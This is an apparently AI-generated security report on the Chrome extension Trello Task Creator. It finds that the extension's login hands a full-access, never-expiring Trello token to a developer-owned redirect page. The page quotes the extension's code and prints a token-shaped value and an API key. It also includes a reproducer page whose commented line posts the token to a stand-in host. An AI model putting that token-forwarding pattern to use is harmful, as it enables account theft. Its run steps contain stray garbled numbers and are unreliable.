Is Trello Task Creator safe?

Medium risk

Trello Task Creator routes your full-access Trello token through a developer-owned webpage instead of Chrome's secure OAuth callback.

When you log in, the extension sends you to Trello's authorization page requesting permanent read/write access to your account, then has Trello redirect your browser to a page hosted by the developer at trello.terekhovsergei.life with the access token attached to the page address. That developer-controlled page loads and can read the token before the extension's own script retrieves it and saves it to local browser storage. A built-in Chrome mechanism for this handoff (an extension-only callback address) exists but isn't used here.

serter2069v2.0Chrome Web Store
49Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Trello Task Creator's login sends your full-access token to a third-party page

Code analysis shows logging in sends Trello a request for a full-access, non-expiring token and tells Trello to deliver it to a page on a developer-owned domain instead of a page built into the extension.

Severity
High unwanted
Type
Unexpected
CWE
CWE-522
Source
Static analysis
What actually happens
You did this

You click "Login to Trello" in the extension popup.

This is the only way to connect your Trello account to the extension.

The extension did this

The extension opens Trello's login page with a return address on a domain the developer owns, not a Chrome-native callback.

Trello's older token flow puts your full-access token directly in that outside page's URL before the extension ever sees it.

Parameters the extension sets on the Trello authorization request
  • Access requested
    scope=read,write

    Full permission to view and change every board, card, and organization in your Trello account.

  • Token lifetime
    expiration=never

    The token never expires on its own; it stays valid until you manually revoke it from Trello.

  • Delivery page
    return_url=https://trello.terekhovsergei.life/redirect.html

    Trello is told to hand your token to this page instead of a page built into the extension.

  • Your Trello token
    https://trello.terekhovsergei.life/redirect.html#token=6f1e9c2b4a7d3f0158e2c9a6b1d4f7038e2c1a9b6d4f7038e2c1a9b6d4f7038e

    This value alone lets anyone read and change your Trello boards through the API, no password needed.

The code that does this

The login handler and the extension's own token capture

Readable version

Same handler, annotated

popup.js (annotated)
document.getElementById('login').addEventListener('click', () => {    // scope=read,write + expiration=never = a full-access token that    // never has to be renewed. return_url points off the extension,    // to a page the developer controls on their own domain.    const authUrl = `https://trello.com/1/authorize?expiration=never&name=TrelloTaskCreator&scope=read,write&response_type=token&key=babcecfea25f6c4d4e5507e2e94eee2e&return_url=https://trello.terekhovsergei.life/redirect.html`;    chrome.tabs.create({ url: authUrl }); // navigates the browser there directly});

Same capture code, annotated

content.js (annotated)
// manifest.json scopes this file to run_at: "document_end" on// https://trello.terekhovsergei.life/redirect.html only.// By the time this runs, that page's own document (and any inline// script the domain operator ships in it) has already parsed and// executed with the token sitting in window.location.hash.function checkForToken() {    const urlParams = new URLSearchParams(window.location.hash.slice(1));    const token = urlParams.get('token'); // the raw Trello API token    if (token) {        chrome.runtime.sendMessage({action: "saveToken", token: token});    }}
Where the token and later API calls go
    • trello.terekhovsergei.life

    Registered to the extension developer, not Trello. Receives your full-access token in the URL before the extension's own code reads it.

    • api.trello.com

    Trello's own API. The extension sends your token here afterward to list boards and create cards, which is the extension's stated purpose.

Reproduce it yourself

A stand-in for the return page that shows a token in the URL fragment is readable by page script the instant the document parses, before a document_end content script can run.

Requires
  • Any static file server, e.g. Python 3's http.server module
redirect-page-stub.html · html
<!DOCTYPE html><html><head>  <script>    // Runs synchronously while the page is still being parsed, which is    // earlier than any content script registered with run_at: "document_end".    (function () {      const params = new URLSearchParams(window.location.hash.slice(1));      const token = params.get('token');      if (token) {        console.log('[reproducer] page script read the token first:', token);        // A real page on this domain could forward `token` anywhere here, e.g.:        // fetch('https://example.com/log', { method: 'POST', body: token });      }    })();  </script></head><body>  <p>Stand-in for trello.terekhovsergei.life/redirect.html</p></body></html>
How to run it
  1. 1Save as redirect-page-stub.html.
  2. 2Serve it: python3 -m http.server
  3. 38
  4. 40
  5. 50
  6. 6
  7. 7Open http://localhost:8000/redirect-page-stub.html#token=TEST
  8. 81
  9. 92
  10. 10
  11. 11Check the console: the inline script already logged the token.
Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

Where it sends data

Destinations our analysis observed Trello Task Creator contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • api.trello.com

    Trello Task Creator sends data to api.trello.com. 2 other extensions we have analyzed send data here.

  • trello.terekhovsergei.life

    Trello Task Creator sends data to trello.terekhovsergei.life. No other extension we have analyzed sends data here.

Updated 30 September 2026phpjpmcmejhepkddncmnfaphebgaecec